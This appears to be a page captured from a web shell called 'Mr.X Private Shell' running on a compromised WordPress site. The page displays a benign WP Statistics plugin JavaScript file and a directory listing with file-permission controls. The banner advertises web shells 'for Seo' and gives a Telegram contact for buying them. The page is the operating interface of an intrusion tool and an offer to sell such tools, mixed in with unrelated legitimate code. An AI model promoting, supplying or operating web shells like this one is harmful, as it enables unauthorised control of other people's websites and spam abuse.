__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
document.addEventListener('DOMContentLoaded', function () {
const consentIntegration = WP_Statistics_Tracker_Object.option.consentIntegration.name;
// If there's no consent integration, or borlabs cookie integration is enabled
if (!consentIntegration || consentIntegration === 'borlabs_cookie') {
WpStatisticsUserTracker.init();
WpStatisticsEventTracker.init();
}
// If WP Consent API integration is enabled
if (consentIntegration === 'wp_consent_api') {
handleWpConsentApiIntegration();
}
// If Real Cookie Banner integration is enabled
if (consentIntegration === 'real_cookie_banner') {
handleRealCookieBannerIntegration();
}
});
function handleWpConsentApiIntegration() {
const consentLevel = WP_Statistics_Tracker_Object.option.consentIntegration.status['consent_level'];
const trackAnonymously = WP_Statistics_Tracker_Object.option.consentIntegration.status['track_anonymously'];
if (trackAnonymously || consentLevel == 'disabled' || wp_has_consent(consentLevel)) {
WpStatisticsUserTracker.init();
WpStatisticsEventTracker.init();
}
document.addEventListener("wp_listen_for_consent_change", function (e) {
const changedConsentCategory = e.detail;
for (let key in changedConsentCategory) {
if (changedConsentCategory.hasOwnProperty(key)) {
if (key === consentLevel && changedConsentCategory[key] === 'allow') {
WpStatisticsUserTracker.init();
WpStatisticsEventTracker.init();
// When trackAnonymously is enabled, the init() call above will get ignored (since it's already initialized before)
// So, in this specific case, we can call checkHitRequestConditions() manually
// This will insert a new record for the user (who just gave consent to us) and prevent other scripts (e.g. event.js) from malfunctioning
if (trackAnonymously) {
WpStatisticsUserTracker.checkHitRequestConditions();
}
}
}
}
});
}
function handleRealCookieBannerIntegration() {
(window.consentApi?.consent("wp-statistics") || Promise.resolve())
.then(() => {
// In case the user has given consent
WpStatisticsUserTracker.init();
WpStatisticsEventTracker.init();
})
.catch(() => {
// In case the user has not given base consent,
// check if they have given consent for data processing service
const dataProcessing = window.consentApi?.consentSync("wp-statistics-with-data-processing");
if (dataProcessing.cookie != null && dataProcessing.cookieOptIn) {
WpStatisticsUserTracker.init();
WpStatisticsEventTracker.init();
} else {
console.log("WP Statistics: Real Cookie Banner consent is not given to track visitor information.");
}
});
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Tinymce | Folder | 0755 |
|
|
| components | Folder | 0755 |
|
|
| filters | Folder | 0755 |
|
|
| meta-box | Folder | 0755 |
|
|
| pages | Folder | 0755 |
|
|
| plugin | Folder | 0755 |
|
|
| ajax.js | File | 2.94 KB | 0644 |
|
| background-process-tracker.js | File | 3.51 KB | 0644 |
|
| chart.js | File | 49.86 KB | 0644 |
|
| config.js | File | 416 B | 0644 |
|
| event-tracker.js | File | 8.2 KB | 0644 |
|
| helper.js | File | 20.56 KB | 0644 |
|
| image-upload.js | File | 2.29 KB | 0644 |
|
| meta-box.js | File | 19.79 KB | 0644 |
|
| mini-chart.js | File | 1.67 KB | 0644 |
|
| placeholder.js | File | 2.53 KB | 0644 |
|
| run.js | File | 363 B | 0644 |
|
| tracker.js | File | 3 KB | 0644 |
|
| user-tracker.js | File | 6.24 KB | 0644 |
|